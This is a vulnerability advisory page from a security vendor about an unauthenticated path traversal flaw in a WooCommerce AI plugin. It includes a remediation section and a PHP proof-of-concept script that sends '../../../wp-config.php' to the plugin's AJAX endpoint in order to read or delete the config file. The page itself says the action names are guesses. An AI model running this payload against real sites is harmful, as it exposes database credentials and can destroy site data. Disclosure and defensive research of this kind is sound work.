Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14301: Integration Opvius AI for WooCommerce <= 1.3.0 – Unauthenticated Arbitrary File Deletion/Read via Path Traversal (woosa-ai-for-woocommerce)

Severity Critical (CVSS 9.8)
CWE 22
Vulnerable Version 1.3.0
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14301 (metadata-based):

The Integration Opvius AI for WooCommerce plugin contains an unauthenticated path traversal vulnerability in all versions up to 1.3.0. This vulnerability exists in the `process_table_bulk_actions()` function, which handles user-supplied file paths without proper security controls. Attackers can exploit this flaw to delete or read arbitrary files on the server, including critical WordPress configuration files.

Atomic Edge research indicates the root cause is improper path validation in the `process_table_bulk_actions()` function. The vulnerability description confirms this function processes the `wsaw-log[]` POST parameter without authentication checks, nonce verification, or path traversal protection. These missing security controls align with CWE-22 patterns commonly observed in WordPress plugins where file operations accept user input without sanitization. The analysis infers the function likely uses `unlink()` or `file_get_contents()` operations on unsanitized input paths.

Exploitation occurs through unauthenticated POST requests to the plugin’s AJAX handler endpoint. Attackers send crafted requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to a value corresponding to the vulnerable function. The `wsaw-log[]` parameter contains path traversal sequences like `../../../wp-config.php`. Multiple files can be targeted simultaneously using array notation. The plugin’s AJAX action name likely derives from the plugin slug or function name, following WordPress naming conventions.

Remediation requires implementing multiple security layers. The patched version should add authentication checks using `current_user_can()` to verify administrative privileges. Nonce verification with `check_ajax_referer()` must validate request legitimacy. Path sanitization should normalize file paths using `realpath()` and restrict operations to a safe directory. Input validation should reject any path containing directory traversal sequences before processing.

Successful exploitation enables complete server compromise through multiple attack vectors. Attackers can delete `wp-config.php` to disrupt site functionality and force database reconfiguration. Reading this file exposes database credentials, allowing unauthorized database access. Arbitrary file reading can expose sensitive server configuration files, environment variables, and user data. File deletion can disrupt server operations, cause denial of service, or remove security controls.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14301 - Integration Opvius AI for WooCommerce <= 1.3.0 - Unauthenticated Arbitrary File Deletion/Read via Path Traversal

<?php
/**
 * Proof of Concept for CVE-2025-14301
 * Assumptions based on vulnerability description:
 * 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (standard WordPress AJAX handler)
 * 2. The action parameter corresponds to the plugin's AJAX hook registration
 * 3. The wsaw-log[] POST parameter accepts array of file paths
 * 4. No authentication or nonce verification exists
 * 5. The plugin slug 'woosa-ai-for-woocommerce' suggests possible action names
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// Common AJAX action names derived from plugin slug and function name
$possible_actions = [
    'woosa_ai_process_table_bulk_actions',
    'woosa_ai_bulk_actions',
    'process_table_bulk_actions',
    'wsaw_process_bulk_actions',
    'opvius_ai_bulk_action'
];

// Target file to delete or read (example: WordPress configuration)
$target_file = '../../../wp-config.php';

foreach ($possible_actions as $action) {
    $ch = curl_init();
    
    $post_data = [
        'action' => $action,
        'wsaw-log[]' => $target_file
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTPHEADER => [
            'User-Agent: Atomic Edge Research PoC',
            'X-Requested-With: XMLHttpRequest'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Status: {$http_code}n";
    echo "Response: {$response}n";
    echo str_repeat('-', 50) . "n";
    
    curl_close($ch);
    
    // Stop if we get a successful response (200 OK with plugin output)
    if ($http_code == 200 && !empty($response)) {
        echo "Potential successful exploitation with action: {$action}n";
        break;
    }
}

// Note: This PoC tests for vulnerability existence.
// Actual exploitation would require analyzing response to determine
// if file deletion or reading occurred.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School